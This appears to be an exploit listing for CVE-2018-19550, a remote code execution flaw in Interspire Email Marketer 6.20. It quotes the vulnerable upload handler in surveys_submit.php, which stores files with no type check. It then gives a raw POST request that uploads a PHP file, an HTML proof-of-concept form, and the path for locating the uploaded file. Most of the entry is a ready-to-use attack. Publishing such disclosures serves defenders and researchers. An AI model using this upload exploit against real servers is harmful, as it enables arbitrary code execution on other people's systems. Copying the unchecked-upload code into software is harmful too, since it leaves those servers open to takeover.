|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97  |  # Exploit Title: Interspire Email Marketer 6.20 - Remote Code Execution # Date: May 2019 # Exploit Author: Numan Türle # Vendor Homepage: https://www.interspire.com # Software Link: https://www.interspire.com/emailmarketer # Version: 6.20<  # Tested on: windows # CVE : CVE-2018-19550 # https://medium.com/@numanturle/interspire-email-marketer-6-20-exp-remote-code-execution-via-uplaod-files-27ef002ad813 surveys_submit.php if (isset($_FILES['widget']['name'])) {  $files = $_FILES['widget']['name'];  foreach ($files as $widgetId => $widget) {  foreach ($widget as $widgetKey => $fields) {  foreach ($fields as $fieldId => $field) {  // gather file information  $name= $_FILES['widget']['name'][$widgetId]['field'][$fieldId]['value'];  $type= $_FILES['widget']['type'][$widgetId]['field'][$fieldId]['value'];  $tmpName = $_FILES['widget']['tmp_name'][$widgetId]['field'][$fieldId]['value'];  $error = $_FILES['widget']['error'][$widgetId]['field'][$fieldId]['value'];  $size= $_FILES['widget']['size'][$widgetId]['field'][$fieldId]['value'];  // if the upload was successful to the temporary folder, move it  if ($error == UPLOAD_ERR_OK) {  $tempdir = TEMP_DIRECTORY;  $upBaseDir = $tempdir . DIRECTORY_SEPARATOR . 'surveys';  $upSurveyDir = $upBaseDir . DIRECTORY_SEPARATOR . $formId;  $upDir = $upSurveyDir . DIRECTORY_SEPARATOR . $response->GetId();  // if the base upload directory doesn't exist create it  if (!is_dir($upBaseDir)) {  mkdir($upBaseDir, 0755);  }  if (!is_dir($upSurveyDir)) {  mkdir($upSurveyDir, 0755);  }  // if the upload directory doesn't exist create it  if (!is_dir($upDir)) {  mkdir($upDir, 0755);  }  // upload the file  move_uploaded_file($tmpName, $upDir . DIRECTORY_SEPARATOR . $name);  }  }  }  }  } input file name : widget[0][field][][value] submit : surveys_submit.php?formId=1337 POST /iem/surveys_submit.php?formId=1337 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryF2dckZgrcE306kH2 Content-Length: 340 ------WebKitFormBoundaryF2dckZgrcE306kH2 Content-Disposition: form-data; name="widget[0][field][][value]"; filename="info.php" Content-Type: application/octet-stream <?php phpinfo(); ?> ------WebKitFormBoundaryF2dckZgrcE306kH2 Content-Disposition: form-data; name="submit" Submit ------WebKitFormBoundaryF2dckZgrcE306kH2- #### POC <!DOCTYPE HTML> <html lang="en-US"> <head> <meta charset="UTF-8"> <title></title> </head> <body> <form action="http://WEBSITE/surveys_submit.php?formId=1337" method="post" enctype="multipart/form-data"> <input type="file" name="widget[0][field][][value]"> <input type="submit" value="submit" name="submit"> </form> </body> </html> URL : http://{{IEM LINK}}/admin/temp/surveys/1337/{{FUZZING NUMBER}}/{{FILENAME}}  |